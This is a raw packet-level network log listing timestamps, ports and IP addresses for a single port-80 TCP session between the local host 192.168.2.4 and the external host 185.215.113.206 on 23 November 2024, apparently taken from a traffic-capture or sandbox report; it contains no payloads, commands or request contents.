Nov 23, 2024 17:44:32.068931103 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.070473909 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.070530891 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.070566893 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.070606947 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.071954012 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.071969986 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.072038889 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.073493004 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.073570013 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.073622942 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.075018883 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.075067997 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.075170040 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.075304031 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.076558113 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.076610088 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.076646090 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.078090906 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.078149080 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.078190088 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.079301119 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.079639912 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.079735041 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.079790115 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.081180096 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.081321001 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.081388950 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.082747936 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.082783937 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.082828045 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.082859039 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.084260941 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.084325075 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.084382057 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.085786104 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.085803032 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.085866928 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.087347031 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.087439060 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.087496042 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.088838100 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.088897943 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.088907003 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.090440989 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.090487003 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.090497017 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.091279030 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.091943979 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.092098951 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.092155933 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.093502998 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.093568087 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.093622923 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.094990015 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.095041990 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.095093966 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.095268011 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.096525908 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.096585035 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.096621990 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.096668005 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.098088026 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.098136902 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.098174095 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.098223925 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.099610090 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.099643946 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.099697113 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.101133108 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.101176977 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.101233006 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.102704048 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.102720976 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.102785110 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.104265928 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.104331017 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.104388952 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.105719090 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.105777979 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.105818033 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.107266903 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.107285023 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.107348919 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.107436895 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.107484102 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.124687910 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.124716997 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.124783993 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.125123978 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.125238895 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.125293970 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.126816034 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.126873016 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.126880884 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.127275944 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.128213882 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.128283978 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.128305912 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.128372908 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.129796982 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.129869938 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.129926920 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.131292105 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.131378889 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.131434917 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.132814884 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.132868052 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.132937908 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.134351015 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.134403944 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.134442091 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.135266066 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.135936022 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.136013985 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.136068106 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.137515068 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.137743950 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.137794018 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.139036894 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.139106989 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.139142990 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.139278889 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.141350985 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.141403913 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.141489983 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.141540051 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.142100096 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.142139912 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.142190933 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.167382002 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.167433977 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.167504072 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.167877913 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.167932034 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.167984009 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.169413090 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.169472933 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.169492960 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.171267986 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.171271086 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.171300888 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.171348095 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.172485113 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.172522068 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.172573090 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.174021959 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.174062014 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.174092054 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.174123049 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.175633907 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.175661087 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.175713062 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.177087069 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.177189112 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.177239895 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.178627968 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.178715944 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.178718090 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.178752899 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.180166006 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.180233955 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.180290937 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.181708097 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.181808949 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.181863070 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.183289051 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.183377981 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.183432102 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.184808016 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.184859037 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.184900045 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.186450958 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.186500072 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.186502934 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.187266111 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.187843084 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.187975883 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.188035011 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.189376116 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.189569950 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.189621925 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.190938950 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.190990925 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.191133022 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.191263914 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.192404032 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.192455053 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.192491055 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.192553043 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.193939924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.193957090 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.194014072 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.194014072 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.195333004 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.195480108 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.195532084 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.196789026 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.196907997 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.196964025 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.198342085 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.198391914 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.198434114 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.199261904 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.199683905 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.199738979 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.199779034 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.199837923 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.200982094 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.201129913 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.201183081 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.202383995 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.202536106 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.202589035 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.203742981 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.203947067 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.204008102 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.205037117 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.205095053 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.205185890 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.206429005 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.206480980 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.206562042 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.207266092 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.207783937 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.207871914 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.207923889 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.209126949 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.209157944 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.209211111 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.210654974 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.210709095 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.210741043 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.211266994 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.211926937 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.211990118 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.212038040 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.213165045 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.213181019 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.213232040 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.214344978 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.214411020 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.214579105 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.215284109 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.215486050 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.215533972 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.215594053 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.215643883 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.216598034 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.216644049 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.216804028 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.216852903 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.217782974 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.217834949 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.217858076 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.217909098 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.218780994 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.218833923 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.218991041 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.219044924 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.220009089 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.220048904 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.220104933 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.221004963 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.221029997 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.221055984 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.221075058 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.222122908 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.222178936 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.222187996 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.222234964 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.223186016 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.223237991 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.223248005 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.224265099 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.224281073 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.224315882 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.224343061 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.225298882 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.225315094 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.225367069 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.226346016 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.226361990 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.226413965 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.227427959 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.227446079 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.227504015 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.228517056 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.228564978 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.228677034 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.229496002 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.229552031 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.229676962 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.230505943 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.230557919 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.230731964 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.230782032 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.231502056 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.231595993 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.231650114 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.232498884 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.232515097 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.232564926 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.233483076 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.233534098 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.233571053 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.234513998 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.234529972 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.234564066 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.234595060 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.235548973 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.235565901 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.235616922 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.236560106 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.236577034 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.236632109 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.237541914 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.237557888 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.237612009 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.237612009 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.238538980 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.238586903 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.238682985 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.238740921 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.239547968 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.239563942 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.239629030 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.240586042 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.240602016 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.240654945 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.241586924 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.241602898 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.241637945 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.241669893 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.242625952 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.242674112 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.242711067 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.243268967 CET	49745	80	192.168.2.4	185.215.113.206
Nov 23, 2024 17:44:32.243558884 CET	80	49745	185.215.113.206	192.168.2.4
Nov 23, 2024 17:44:32.243572950 CET	80	49745	185.215.113.206	192.168.2.4
